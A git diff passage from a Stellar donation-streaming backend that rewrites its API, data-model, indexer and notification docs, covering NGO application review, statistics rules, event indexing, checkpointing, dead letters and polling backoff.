"reviewNote": null, + "createdAt": "", + "updatedAt": "" + } + ], + "total": 1, + "limit": 100, + "offset": 0 +} +``` + +### `GET /v1/ngo-applications/{id}` + +**Auth:** Admin signature +**Path params:** `id` (required): application UUID. + +Returns one application record. Returns `400 {"error":"invalid_request"}` +for an invalid ID and `404 {"error":"not_found"}` if none exists. Example +response: the application object shown in the `POST /v1/ngo-applications` +example, with its current status, review note, and `emailVerifiedAt` (`null` +until the submitted contact address is verified). + +### `GET /v1/ngo-applications/verify-contact-email?token={token}` + +**Auth:** Public; requires the single-use token sent to the application contact +email. Tokens expire after 24 hours. Returns `200` when verified or +`400 {"error":"invalid_or_expired_token"}` when invalid, expired, or already +used. + +### `POST /v1/ngo-applications/{id}/contact-email-verification` + +**Auth:** Admin signature. Sends a fresh verification link for an application +that has not been verified. Returns `202` with a generic response whether the +application is eligible or not, to avoid disclosing application status. + +### `POST /v1/ngo-applications/{id}/approve` + +**Auth:** Admin signature +**Path params:** `id` (required): application UUID. +**JSON body:** `reviewNote` (optional string, up to 2000 characters); an empty +JSON object is also valid. + +Approves a pending application and returns the updated application record. +Returns `400 {"error":"invalid_request"}` for invalid input, +`404 {"error":"not_found"}` if no application exists, or +`409 {"error":"already_reviewed"}` if it is no longer pending. Example +response: the application object shown in the `POST /v1/ngo-applications` +example, with `status` set to `APPROVED` and `reviewNote` set if supplied. +Approval is available only after the contact email is verified; otherwise the +endpoint returns `409 {"error":"contact_email_unverified"}`. + +### `POST /v1/ngo-applications/{id}/reject` + +**Auth:** Admin signature +**Path params:** `id` (required): application UUID. +**JSON body:** `reviewNote` (optional string, up to 2000 characters); an empty +JSON object is also valid. + +Rejects a pending application and returns the updated application record. +Returns `400 {"error":"invalid_request"}` for invalid input, +`404 {"error":"not_found"}` if no application exists, or +`409 {"error":"already_reviewed"}` if it is no longer pending. Example +response: the application object shown in the `POST /v1/ngo-applications` +example, with `status` set to `REJECTED` and `reviewNote` set if supplied. +Review is available only after the contact email is verified; otherwise the +endpoint returns `409 {"error":"contact_email_unverified"}`. + +## Indexer + +### `GET /v1/indexer/status` + +**Auth:** Public +**Params:** None. + +Returns contract configuration and the latest indexer checkpoint. Ledger +values are `null` when no contracts are configured or no checkpoint is +available. + +```json +{ + "configured": true, + "checkpointLedger": 123450, + "updatedAt": "", + "latestLedger": 123455, + "ledgerLag": 5 +} +``` + +### `GET /v1/admin/dead-letters` + +**Auth:** Admin signature +**Query params:** + +- `limit` (optional integer, 1–100, default 100): maximum items to return. +- `cursor` (optional UUID): ID of the last item from the previous page for keyset pagination. +- `resolved` (optional string, `true` or `false`): filter by resolution status (`resolvedAt != null` vs `resolvedAt == null`). Omit to return both. + +Returns paginated records of failed contract events recorded in `indexer_dead_letters`. Returns `400 {"error":"invalid_request"}` for invalid query parameters, `200` with an empty page and the matching filtered `total` for a well-formed cursor UUID that is not present, and `401 {"error":"unauthorized"}` for missing or invalid admin signatures. Pagination uses the ordered `(createdAt, id)` tuple as its boundary, including when multiple records share a timestamp. + +```json +{ + "deadLetters": [ + { + "id": "11111111-1111-4111-8111-111111111111", + "eventId": "0000123450-0000000001", + "ledger": 123450, + "contractId": "CCPWQBI7FV2CZ7EECOVZ5XHOHK5S7CS6XTBDWPWHBEOKPTIASNGOBQFH", + "error": "TypeError: Cannot read properties of undefined", + "topic": ["AAAA..."], + "value": "AAAA...", + "txHash": "deadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef", + "attempts": 1, + "resolvedAt": null, + "createdAt": "2026-10-21T05:00:00.000Z", + "updatedAt": "2026-10-21T05:00:00.000Z" + } + ], + "total": 1, + "hasMore": false, + "nextCursor": null +} +``` + +## Interactive API documentation + +In non-production environments, Swagger UI is available at `/docs` and the +OpenAPI JSON document at `/docs/json`. diff --git a/docs/DATA-MODEL.md b/docs/DATA-MODEL.md index 5806258..4ce2faa 100644 --- a/docs/DATA-MODEL.md +++ b/docs/DATA-MODEL.md @@ -1,103 +1,103 @@ -# Data model and API statistics - -## Entity relationship diagram - -```mermaid -erDiagram - Donor ||--o{ Stream : creates - Ngo ||--o{ Stream : receives - - Donor { - string id PK - string address UK - datetime createdAt - } - Ngo { - string id PK - string ownerAddress UK - string name - boolean verified - datetime createdAt - datetime updatedAt - } - Stream { - string id PK - bigint onChainId UK - string donorId FK - string ngoId FK - string tokenAddress - string rate - string balance - string withdrawn - StreamStatus status - datetime createdAt - datetime updatedAt - } - NgoApplication { - string id PK - string ownerAddress - string name - string description - string website - string contactEmail - string country - NgoApplicationStatus status - string reviewNote - datetime createdAt - datetime updatedAt - } - IndexerCheckpoint { - string id PK - int lastLedger - datetime updatedAt - } -``` - -`NgoApplication` is an off-chain review record and currently has no Prisma -relation to `Ngo`; applications are associated by `ownerAddress` in the API. -`IndexerCheckpoint` is a standalone, single-row-per-id table used to resume -event indexing. - -## Derived statistics - -Amounts are returned as decimal strings in the token's base units. The API does -not convert or combine values across different `tokenAddress` values. - -For a stream, define its committed amount as: - -- **Active:** `balance + withdrawn` -- **Cancelled:** `withdrawn` - -Cancellation refunds the remaining `balance` to the donor, so that amount was -not committed to or delivered to the NGO. The already-withdrawn amount remains -part of the NGO's committed and withdrawn totals. - -### `GET /ngos/:id` - -The same detail response is also available from `GET /ngos/lookup?address=...`. -Its `stats` fields are computed from every stream belonging to the NGO: - -- `totalCommitted`: sum of each stream's committed amount using the active and - cancelled rules above. -- `totalWithdrawn`: sum of `withdrawn` across all streams, including cancelled - streams. -- `activeStreamCount`: number of streams whose status is `ACTIVE`. Cancelled - streams are excluded. -- `donorCount`: number of distinct donors represented by the NGO's streams; - cancelled streams are included. - -### `GET /impact/:ngoId` - -The endpoint computes the same NGO totals from its streams and adds: - -- `activeStreams`: count of `ACTIVE` streams. -- `cancelledStreams`: count of `CANCELLED` streams. -- `uniqueDonors`: distinct donor count, including donors whose streams were - cancelled. -- `platformSharePercent`: `ngoCommitted / platformCommitted * 100`, where both - values use the committed-amount rules above and `platformCommitted` includes - every stream in the database. The result is truncated to two decimal places; - it is `0` when the platform total is zero. - -The platform-wide denominator includes cancelled streams only through their -withdrawn amounts, just like the NGO numerator. +# Data model and API statistics + +## Entity relationship diagram + +```mermaid +erDiagram + Donor ||--o{ Stream : creates + Ngo ||--o{ Stream : receives + + Donor { + string id PK + string address UK + datetime createdAt + } + Ngo { + string id PK + string ownerAddress UK + string name + boolean verified + datetime createdAt + datetime updatedAt + } + Stream { + string id PK + bigint onChainId UK + string donorId FK + string ngoId FK + string tokenAddress + string rate + string balance + string withdrawn + StreamStatus status + datetime createdAt + datetime updatedAt + } + NgoApplication { + string id PK + string ownerAddress + string name + string description + string website + string contactEmail + string country + NgoApplicationStatus status + string reviewNote + datetime createdAt + datetime updatedAt + } + IndexerCheckpoint { + string id PK + int lastLedger + datetime updatedAt + } +``` + +`NgoApplication` is an off-chain review record and currently has no Prisma +relation to `Ngo`; applications are associated by `ownerAddress` in the API. +`IndexerCheckpoint` is a standalone, single-row-per-id table used to resume +event indexing. + +## Derived statistics + +Amounts are returned as decimal strings in the token's base units. The API does +not convert or combine values across different `tokenAddress` values. + +For a stream, define its committed amount as: + +- **Active:** `balance + withdrawn` +- **Cancelled:** `withdrawn` + +Cancellation refunds the remaining `balance` to the donor, so that amount was +not committed to or delivered to the NGO. The already-withdrawn amount remains +part of the NGO's committed and withdrawn totals. + +### `GET /ngos/:id` + +The same detail response is also available from `GET /ngos/lookup?address=...`. +Its `stats` fields are computed from every stream belonging to the NGO: + +- `totalCommitted`: sum of each stream's committed amount using the active and + cancelled rules above. +- `totalWithdrawn`: sum of `withdrawn` across all streams, including cancelled + streams. +- `activeStreamCount`: number of streams whose status is `ACTIVE`. Cancelled + streams are excluded. +- `donorCount`: number of distinct donors represented by the NGO's streams; + cancelled streams are included. + +### `GET /impact/:ngoId` + +The endpoint computes the same NGO totals from its streams and adds: + +- `activeStreams`: count of `ACTIVE` streams. +- `cancelledStreams`: count of `CANCELLED` streams. +- `uniqueDonors`: distinct donor count, including donors whose streams were + cancelled. +- `platformSharePercent`: `ngoCommitted / platformCommitted * 100`, where both + values use the committed-amount rules above and `platformCommitted` includes + every stream in the database. The result is truncated to two decimal places; + it is `0` when the platform total is zero. + +The platform-wide denominator includes cancelled streams only through their +withdrawn amounts, just like the NGO numerator. diff --git a/docs/INDEXER.md b/docs/INDEXER.md index 8de2d19..7ccb0ad 100644 --- a/docs/INDEXER.md +++ b/docs/INDEXER.md @@ -1,228 +1,228 @@ -# Indexer - -The indexer polls the Stellar RPC for contract events emitted by the two -StreamGive smart contracts and writes the results into the PostgreSQL database. -It runs as a background loop inside the same Node.js process as the API server -(see [`src/indexer/worker.ts`](../src/indexer/worker.ts)). - -## Watched contracts - -| Env var | Purpose | -| ---------------------------- | ---------------------------------------------------------------- | -| `NGO_REGISTRY_CONTRACT_ID` | Tracks NGO registrations and admin approvals | -| `DONATION_VAULT_CONTRACT_ID` | Tracks streaming donation lifecycle (create / withdraw / cancel) | - -Both ids are optional. The indexer no-ops until at least one is set. - -## Event table - -Each row shows one on-chain event topic, whether the indexer handles it, and -which database rows it creates or updates when it does. Every handled event also -persists an immutable audit record to the `stream_events` table (`StreamEvent` model) -within the same transaction as its primary state mutation. - -### ngo-registry contract - -| Topic | Handled | DB writes | -| ---------- | ------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `register` | Yes | Upserts `ngos` row (`ownerAddress`, `name`, `verified = false`). Updates `name` if the row already exists. Writes a `StreamEvent` row (`type = 'register'`). Emits an `ngo_registered` notification. | -| `approved` | Yes | Sets `verified = true` on the matching `ngos` row via `updateMany` (no-ops if the row does not exist yet — safe for a mid-history start). Writes a `StreamEvent` row (`type = 'approved'`). Emits a `ngo_approved` notification. | -| `revoked` | Yes | Sets `verified = false` on the matching `ngos` row via `updateMany` (no-ops if the row does not exist yet). Writes a `StreamEvent` row (`type = 'revoked'`). Emits a `ngo_revoked` notification. | - -Handler: [`src/indexer/handlers/ngoRegistry.ts`](../src/indexer/handlers/ngoRegistry.ts) - -### donation-vault contract - -| Topic | Handled | DB writes | -| ---------- | ------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `created` | Yes | Upserts `donors` and `ngos` rows for the involved addresses (creating placeholders if unseen), then upserts a `streams` row with `status = ACTIVE`, initial `balance`, and `withdrawn = 0`. Writes a `StreamEvent` row (`type = 'created'`). Emits a `stream_created` webhook notification. | -| `withdraw` | Yes | Subtracts the accrued amount from `streams.balance` and adds it to `streams.withdrawn`. No-ops if the stream row does not exist or is already `CANCELLED`. Writes a `StreamEvent` row (`type = 'withdraw'`). Emits a `stream_withdrawn` notification. | -| `cancel` | Yes | Adds the settled amount to `streams.withdrawn`, zeroes `balance` and `rate`, sets `status = CANCELLED`. No-ops if the stream row does not exist or is already `CANCELLED`. Writes a `StreamEvent` row (`type = 'cancel'`). Emits a `stream_cancelled` notification. | -| `topup` | No | The event only publishes the new deposit amount, not how much accrued and settled to the NGO during the same call, so the post-topup balance cannot be reconstructed from the payload alone without either a contract read or duplicating the accrual math. Tracked in [tracking issue #274](https://github.com/StreamGive/streamgive-backend/issues/274). | -| `ratemod` | No | Same reason as `topup` — the new rate is known but the accrual that settled at the moment of the rate change is not. Tracked in [tracking issue #274](https://github.com/StreamGive/streamgive-backend/issues/274). | - -Handler: [`src/indexer/handlers/donationVault.ts`](../src/indexer/handlers/donationVault.ts) - -### StreamEvent writes - -In addition to mutating state models (`ngos`, `donors`, `streams`), every handled event -creates an audit log entry in the `stream_events` table (`StreamEvent` Prisma model) -in the same database transaction. Each row records: - -- `type`: The event topic (`register`, `approved`, `revoked`, `created`, `withdraw`, `cancel`). -- `streamId`: The on-chain stream ID for donation-vault events, or `null` for ngo-registry events. -- `ledger`: The ledger sequence number containing the event. -- `txHash`: The transaction hash of the triggering transaction. -- `payload`: The structured event data serialised to JSON. - -These audit rows provide an immutable event log for activity feeds, reconciliation, and debugging. - -## Soroban event decoding assumptions - -The handlers below use `scValToNative` followed by TypeScript casts; they do -not validate the decoded values against a runtime schema. Topic positions -listed here are the positions the handler reads. The event name is a Soroban -symbol in topic position 0. - -| Contract | Event | Topic values decoded after the event name | Value decoded | -| -------------- | ---------- | ----------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| ngo-registry | `register` | Position 1: owner address (`ScAddress`). | String (`ScString`), used as the NGO name. | -| ngo-registry | `approved` | Position 1: owner address (`ScAddress`). | Not read by the handler. | -| ngo-registry | `revoked` | Position 1: owner address (`ScAddress`). | Not read by the handler. | -| donation-vault | `created` | Position 1: stream ID (`u64`). | Vector of five values, in order: donor address (`ScAddress`), NGO address (`ScAddress`), token address (`ScAddress`), initial deposit (`i128`), and rate (`i128`). | -| donation-vault | `withdraw` | Position 1: stream ID (`u64`). | Accrued amount (`i128`). | -| donation-vault | `cancel` | Position 1: stream ID (`u64`). | Vector of two values, in order: accrued amount (`i128`) and refund (`i128`). | - -These are the shapes the current handler code assumes, not runtime-enforced -schemas. A mismatch can make `scValToNative`, destructuring, or a later -conversion throw. The worker catches handler failures, records the event as a -dead letter, and advances the checkpoint when that record succeeds. See the -related [malformed-event hardening issue #85](https://github.com/StreamGive/streamgive-backend/issues/85). - -## Checkpoint - -The indexer stores its progress in the `indexer_checkpoints` table (a single row -with `id = 'main'`), persisting both `lastLedger` and `lastEventId`. On startup, -it reads this row and resumes from the stored event cursor (`cursor: lastProcessedEventId`). -If no cursor is saved (for example, on the initial run or when an idle scan -advanced the checkpoint to the tip without processing events), it queries from -`startLedger: lastLedger + 1`. Resuming from the event cursor ensures a restart -never re-processes already-seen events while never skipping remaining events in -the same ledger. - -**First run** — if no checkpoint row exists the indexer writes the current -ledger (or `INDEXER_START_LEDGER` if configured) as the starting point and -returns without fetching events. The next poll picks up from there, so only -events emitted _after_ the first startup are indexed; the contract's full -history is not back-filled. - -**Per-event checkpointing** — the checkpoint (`lastLedger` and `lastEventId`) is -saved after each individual event, not once per batch. Several handlers apply -relative deltas (`balance -= accrued`, etc.), so replaying an already-applied -event after a crash would double-count it. Saving after each event bounds the -damage to "at most the in-flight event" on a crash. - -### Failed events - -A handler decodes an event's payload with unchecked casts, so an event whose -shape does not match what the handler expects throws. That throw used to -escape the poll loop before the checkpoint was saved, which meant the same -event came back on the next poll, threw again, and blocked every later event -behind it — permanently, since re-reading an undecodable event never makes it -decodable. - -Each event is now handled in isolation. A failure is logged, recorded in the -`indexer_dead_letters` table (keyed on the RPC's event id, with the ledger, -contract id and the error message), and the checkpoint advances past it as -normal, so one bad event costs exactly that event rather than the whole -indexer. - -Nothing reads those rows automatically — they exist so a failure is -inspectable and replayable rather than silently dropped. Inspect them with: - -```sql -SELECT event_id, ledger, contract_id, error FROM indexer_dead_letters ORDER BY ledger; -``` - -Recording a dead letter is deliberately _not_ fault-tolerant. If that write -throws, the database is unreachable — a transient fault, not a bad event — and -letting it propagate leaves the checkpoint unmoved so the event is retried on -the next poll instead of being skipped over a blip. - -### Out-of-window behaviour - -The Stellar RPC only retains a sliding window of recent ledgers. The window is -configured per endpoint and reported by `getHealth` as `ledgerRetentionWindow`: -public Mainnet endpoints are typically ~17,280 ledgers (~24 hours), while the -public Testnet endpoint that [`render.yaml`](../render.yaml) deploys against -reports 120,960 (~7 days). It rejects a `getEvents` call whose `startLedger` -falls outside that window with a JSON-RPC `-32600` error. - -Two ways the checkpoint can fall outside the window: - -| Scenario | What happens | -| ------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| **Ahead of the tip** | The indexer checkpoints at the latest ledger, so the very next poll asks for `latest + 1`, which has not closed yet. The poll returns immediately and waits for the next interval — no action needed. | -| **Behind the retention window** | If the process is down for longer than the RPC's retention period, the saved checkpoint ages out. The indexer detects the `-32600` error, logs a warning that events in the gap were missed, skips the checkpoint forward to the current ledger, and resumes. This keeps the indexer running rather than looping on a permanent error, at the cost of a gap in the indexed history. | - -Skipping the gap is permanent for the running indexer: the missed contract -events are not fetched later. As a result, database projections may be missing -or stale, including NGO registrations and approvals and stream creation, -withdrawal, or cancellation state. Restarting the process does not recover -them because the checkpoint has already advanced. The verification -reconciliation script can repair NGO `verified` flags, but it does not replay -the other event effects. - -The skip-forward warning is intentionally loud: - -``` -indexer: checkpoint has aged out of the RPC's retention window — -skipping to ledger . Events in between were missed and will not be indexed. -``` - -To recover complete history, replay the missed ledger range from an archive -RPC and reconcile the affected database projections. This is not automated; -use a purpose-built reindex/backfill process rather than simply moving the -checkpoint backward, which could apply relative stream balance changes twice. -The planned tooling is tracked in the [backfill issue #11](https://github.com/StreamGive/streamgive-backend/issues/11). - -## Verification reconciliation - -If the indexer misses an `approved` / `revoked` event (e.g. because the -checkpoint aged out of the RPC retention window), an NGO's `verified` flag -can drift from the on-chain truth. The reconciliation script reads each NGO's -verified status directly from the ngo-registry contract and compares it against -the database, reporting (and optionally fixing) any mismatches. - -### Running it - -The script lives at [`src/scripts/reconcileVerification.ts`](../src/scripts/reconcileVerification.ts). -It requires `NGO_REGISTRY_CONTRACT_ID` and a Stellar RPC endpoint to be set -(the same environment variables the indexer uses), and access to the database. - -Report only (default) — prints mismatches: - -```bash -npx tsx src/scripts/reconcileVerification.ts -``` - -Apply fixes — updates the database to match on-chain status: - -```bash -npx tsx src/scripts/reconcileVerification.ts --fix -``` - -The script exits with code 0 when no mismatches are found, and exits with code 1 -if any mismatches are detected (even when `--fix` is passed and repairs them). - -## Polling and backoff - -The indexer polls on a self-rescheduling timer rather than a fixed -`setInterval`: each poll schedules the next one only once it has settled. Two -things follow from that. Polls can never overlap, however slow the RPC is. And -a failed poll decides when the next attempt happens, instead of the interval -timer firing regardless of how the previous one went. - -A healthy indexer polls every `INDEXER_POLL_INTERVAL_MS` (default 5s). When a -poll fails — `getLatestLedger`, `getEvents`, or a throwing event handler — the -delay to the next poll doubles, up to a cap of 5 minutes: - -| Consecutive failures | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7+ | -| ---------------------------------- | --- | --- | --- | --- | --- | --- | ---- | ---- | -| Delay (at the default 5s interval) | 5s | 5s | 10s | 20s | 40s | 80s | 160s | 300s | - -The first failure retries at the normal interval, so a single dropped request -costs nothing. The cap matters for two reasons: a long outage must not drift out -to a delay that looks like a hung indexer, and the indexer still re-checks the -endpoint at a predictable rate so recovery is detected within the cap. - -The counter resets on the first poll that completes, so a single success drops -the delay straight back to `INDEXER_POLL_INTERVAL_MS` — one bad patch does not -leave the indexer crawling for the rest of its life. - -Failed polls leave the checkpoint where it was, so retries re-scan the same -ledger range. The log line names the failure count and the next delay: - -``` -indexer poll failed (3 in a row) — retrying in 20000ms -``` +# Indexer + +The indexer polls the Stellar RPC for contract events emitted by the two +StreamGive smart contracts and writes the results into the PostgreSQL database. +It runs as a background loop inside the same Node.js process as the API server +(see [`src/indexer/worker.ts`](../src/indexer/worker.ts)). + +## Watched contracts + +| Env var | Purpose | +| ---------------------------- | ---------------------------------------------------------------- | +| `NGO_REGISTRY_CONTRACT_ID` | Tracks NGO registrations and admin approvals | +| `DONATION_VAULT_CONTRACT_ID` | Tracks streaming donation lifecycle (create / withdraw / cancel) | + +Both ids are optional. The indexer no-ops until at least one is set. + +## Event table + +Each row shows one on-chain event topic, whether the indexer handles it, and +which database rows it creates or updates when it does. Every handled event also +persists an immutable audit record to the `stream_events` table (`StreamEvent` model) +within the same transaction as its primary state mutation. + +### ngo-registry contract + +| Topic | Handled | DB writes | +| ---------- | ------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| `register` | Yes | Upserts `ngos` row (`ownerAddress`, `name`, `verified = false`). Updates `name` if the row already exists. Writes a `StreamEvent` row (`type = 'register'`). Emits an `ngo_registered` notification. | +| `approved` | Yes | Sets `verified = true` on the matching `ngos` row via `updateMany` (no-ops if the row does not exist yet — safe for a mid-history start). Writes a `StreamEvent` row (`type = 'approved'`). Emits a `ngo_approved` notification. | +| `revoked` | Yes | Sets `verified = false` on the matching `ngos` row via `updateMany` (no-ops if the row does not exist yet). Writes a `StreamEvent` row (`type = 'revoked'`). Emits a `ngo_revoked` notification. | + +Handler: [`src/indexer/handlers/ngoRegistry.ts`](../src/indexer/handlers/ngoRegistry.ts) + +### donation-vault contract + +| Topic | Handled | DB writes | +| ---------- | ------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| `created` | Yes | Upserts `donors` and `ngos` rows for the involved addresses (creating placeholders if unseen), then upserts a `streams` row with `status = ACTIVE`, initial `balance`, and `withdrawn = 0`. Writes a `StreamEvent` row (`type = 'created'`). Emits a `stream_created` webhook notification. | +| `withdraw` | Yes | Subtracts the accrued amount from `streams.balance` and adds it to `streams.withdrawn`. No-ops if the stream row does not exist or is already `CANCELLED`. Writes a `StreamEvent` row (`type = 'withdraw'`). Emits a `stream_withdrawn` notification. | +| `cancel` | Yes | Adds the settled amount to `streams.withdrawn`, zeroes `balance` and `rate`, sets `status = CANCELLED`. No-ops if the stream row does not exist or is already `CANCELLED`. Writes a `StreamEvent` row (`type = 'cancel'`). Emits a `stream_cancelled` notification. | +| `topup` | No | The event only publishes the new deposit amount, not how much accrued and settled to the NGO during the same call, so the post-topup balance cannot be reconstructed from the payload alone without either a contract read or duplicating the accrual math. Tracked in [tracking issue #274](https://github.com/StreamGive/streamgive-backend/issues/274). | +| `ratemod` | No | Same reason as `topup` — the new rate is known but the accrual that settled at the moment of the rate change is not. Tracked in [tracking issue #274](https://github.com/StreamGive/streamgive-backend/issues/274). | + +Handler: [`src/indexer/handlers/donationVault.ts`](../src/indexer/handlers/donationVault.ts) + +### StreamEvent writes + +In addition to mutating state models (`ngos`, `donors`, `streams`), every handled event +creates an audit log entry in the `stream_events` table (`StreamEvent` Prisma model) +in the same database transaction. Each row records: + +- `type`: The event topic (`register`, `approved`, `revoked`, `created`, `withdraw`, `cancel`). +- `streamId`: The on-chain stream ID for donation-vault events, or `null` for ngo-registry events. +- `ledger`: The ledger sequence number containing the event. +- `txHash`: The transaction hash of the triggering transaction. +- `payload`: The structured event data serialised to JSON. + +These audit rows provide an immutable event log for activity feeds, reconciliation, and debugging. + +## Soroban event decoding assumptions + +The handlers below use `scValToNative` followed by TypeScript casts; they do +not validate the decoded values against a runtime schema. Topic positions +listed here are the positions the handler reads. The event name is a Soroban +symbol in topic position 0. + +| Contract | Event | Topic values decoded after the event name | Value decoded | +| -------------- | ---------- | ----------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------ | +| ngo-registry | `register` | Position 1: owner address (`ScAddress`). | String (`ScString`), used as the NGO name. | +| ngo-registry | `approved` | Position 1: owner address (`ScAddress`). | Not read by the handler. | +| ngo-registry | `revoked` | Position 1: owner address (`ScAddress`). | Not read by the handler. | +| donation-vault | `created` | Position 1: stream ID (`u64`). | Vector of five values, in order: donor address (`ScAddress`), NGO address (`ScAddress`), token address (`ScAddress`), initial deposit (`i128`), and rate (`i128`). | +| donation-vault | `withdraw` | Position 1: stream ID (`u64`). | Accrued amount (`i128`). | +| donation-vault | `cancel` | Position 1: stream ID (`u64`). | Vector of two values, in order: accrued amount (`i128`) and refund (`i128`). | + +These are the shapes the current handler code assumes, not runtime-enforced +schemas. A mismatch can make `scValToNative`, destructuring, or a later +conversion throw. The worker catches handler failures, records the event as a +dead letter, and advances the checkpoint when that record succeeds. See the +related [malformed-event hardening issue #85](https://github.com/StreamGive/streamgive-backend/issues/85). + +## Checkpoint + +The indexer stores its progress in the `indexer_checkpoints` table (a single row +with `id = 'main'`), persisting both `lastLedger` and `lastEventId`. On startup, +it reads this row and resumes from the stored event cursor (`cursor: lastProcessedEventId`). +If no cursor is saved (for example, on the initial run or when an idle scan +advanced the checkpoint to the tip without processing events), it queries from +`startLedger: lastLedger + 1`. Resuming from the event cursor ensures a restart +never re-processes already-seen events while never skipping remaining events in +the same ledger. + +**First run** — if no checkpoint row exists the indexer writes the current +ledger (or `INDEXER_START_LEDGER` if configured) as the starting point and +returns without fetching events. The next poll picks up from there, so only +events emitted _after_ the first startup are indexed; the contract's full +history is not back-filled. + +**Per-event checkpointing** — the checkpoint (`lastLedger` and `lastEventId`) is +saved after each individual event, not once per batch. Several handlers apply +relative deltas (`balance -= accrued`, etc.), so replaying an already-applied +event after a crash would double-count it. Saving after each event bounds the +damage to "at most the in-flight event" on a crash. + +### Failed events + +A handler decodes an event's payload with unchecked casts, so an event whose +shape does not match what the handler expects throws. That throw used to +escape the poll loop before the checkpoint was saved, which meant the same +event came back on the next poll, threw again, and blocked every later event +behind it — permanently, since re-reading an undecodable event never makes it +decodable. + +Each event is now handled in isolation. A failure is logged, recorded in the +`indexer_dead_letters` table (keyed on the RPC's event id, with the ledger, +contract id and the error message), and the checkpoint advances past it as +normal, so one bad event costs exactly that event rather than the whole +indexer. + +Nothing reads those rows automatically — they exist so a failure is +inspectable and replayable rather than silently dropped. Inspect them with: + +```sql +SELECT event_id, ledger, contract_id, error FROM indexer_dead_letters ORDER BY ledger; +``` + +Recording a dead letter is deliberately _not_ fault-tolerant. If that write +throws, the database is unreachable — a transient fault, not a bad event — and +letting it propagate leaves the checkpoint unmoved so the event is retried on +the next poll instead of being skipped over a blip. + +### Out-of-window behaviour + +The Stellar RPC only retains a sliding window of recent ledgers. The window is +configured per endpoint and reported by `getHealth` as `ledgerRetentionWindow`: +public Mainnet endpoints are typically ~17,280 ledgers (~24 hours), while the +public Testnet endpoint that [`render.yaml`](../render.yaml) deploys against +reports 120,960 (~7 days). It rejects a `getEvents` call whose `startLedger` +falls outside that window with a JSON-RPC `-32600` error. + +Two ways the checkpoint can fall outside the window: + +| Scenario | What happens | +| ------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| **Ahead of the tip** | The indexer checkpoints at the latest ledger, so the very next poll asks for `latest + 1`, which has not closed yet. The poll returns immediately and waits for the next interval — no action needed. | +| **Behind the retention window** | If the process is down for longer than the RPC's retention period, the saved checkpoint ages out. The indexer detects the `-32600` error, logs a warning that events in the gap were missed, skips the checkpoint forward to the current ledger, and resumes. This keeps the indexer running rather than looping on a permanent error, at the cost of a gap in the indexed history. | + +Skipping the gap is permanent for the running indexer: the missed contract +events are not fetched later. As a result, database projections may be missing +or stale, including NGO registrations and approvals and stream creation, +withdrawal, or cancellation state. Restarting the process does not recover +them because the checkpoint has already advanced. The verification +reconciliation script can repair NGO `verified` flags, but it does not replay +the other event effects. + +The skip-forward warning is intentionally loud: + +``` +indexer: checkpoint has aged out of the RPC's retention window — +skipping to ledger . Events in between were missed and will not be indexed. +``` + +To recover complete history, replay the missed ledger range from an archive +RPC and reconcile the affected database projections. This is not automated; +use a purpose-built reindex/backfill process rather than simply moving the +checkpoint backward, which could apply relative stream balance changes twice. +The planned tooling is tracked in the [backfill issue #11](https://github.com/StreamGive/streamgive-backend/issues/11). + +## Verification reconciliation + +If the indexer misses an `approved` / `revoked` event (e.g. because the +checkpoint aged out of the RPC retention window), an NGO's `verified` flag +can drift from the on-chain truth. The reconciliation script reads each NGO's +verified status directly from the ngo-registry contract and compares it against +the database, reporting (and optionally fixing) any mismatches. + +### Running it + +The script lives at [`src/scripts/reconcileVerification.ts`](../src/scripts/reconcileVerification.ts). +It requires `NGO_REGISTRY_CONTRACT_ID` and a Stellar RPC endpoint to be set +(the same environment variables the indexer uses), and access to the database. + +Report only (default) — prints mismatches: + +```bash +npx tsx src/scripts/reconcileVerification.ts +``` + +Apply fixes — updates the database to match on-chain status: + +```bash +npx tsx src/scripts/reconcileVerification.ts --fix +``` + +The script exits with code 0 when no mismatches are found, and exits with code 1 +if any mismatches are detected (even when `--fix` is passed and repairs them). + +## Polling and backoff + +The indexer polls on a self-rescheduling timer rather than a fixed +`setInterval`: each poll schedules the next one only once it has settled. Two +things follow from that. Polls can never overlap, however slow the RPC is. And +a failed poll decides when the next attempt happens, instead of the interval +timer firing regardless of how the previous one went. + +A healthy indexer polls every `INDEXER_POLL_INTERVAL_MS` (default 5s). When a +poll fails — `getLatestLedger`, `getEvents`, or a throwing event handler — the +delay to the next poll doubles, up to a cap of 5 minutes: + +| Consecutive failures | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7+ | +| ---------------------------------- | --- | --- | --- | --- | --- | --- | ---- | ---- | +| Delay (at the default 5s interval) | 5s | 5s | 10s | 20s | 40s | 80s | 160s | 300s | + +The first failure retries at the normal interval, so a single dropped request +costs nothing. The cap matters for two reasons: a long outage must not drift out +to a delay that looks like a hung indexer, and the indexer still re-checks the +endpoint at a predictable rate so recovery is detected within the cap. + +The counter resets on the first poll that completes, so a single success drops +the delay straight back to `INDEXER_POLL_INTERVAL_MS` — one bad patch does not +leave the indexer crawling for the rest of its life. + +Failed polls leave the checkpoint where it was, so retries re-scan the same +ledger range. The log line names the failure count and the next delay: + +``` +indexer poll failed (3 in a row) — retrying in 20000ms +``` diff --git a/docs/NOTIFICATIONS.md b/docs/NOTIFICATIONS.md index 999fdae..fc726dc 100644 --- a/docs/NOTIFICATIONS.md +++ b/docs/NOTIFICATIONS.md @@ -1,155 +1,155 @@ -# Notification events - -The backend POSTs a JSON body to each configured webhook destination for every -notification it emits (see [Webhook destinations](#webhook-destinations)). -Every body is discriminated by its `type` field. The matching TypeScript definitions live in -[`src/notifications/types.ts`](../src/notifications/types.ts). - -All events may include an optional `eventId` — the on-chain event id used to -deduplicate deliveries and to retry failed sends. Deliveries are signed with -the `x-streamgive-signature` 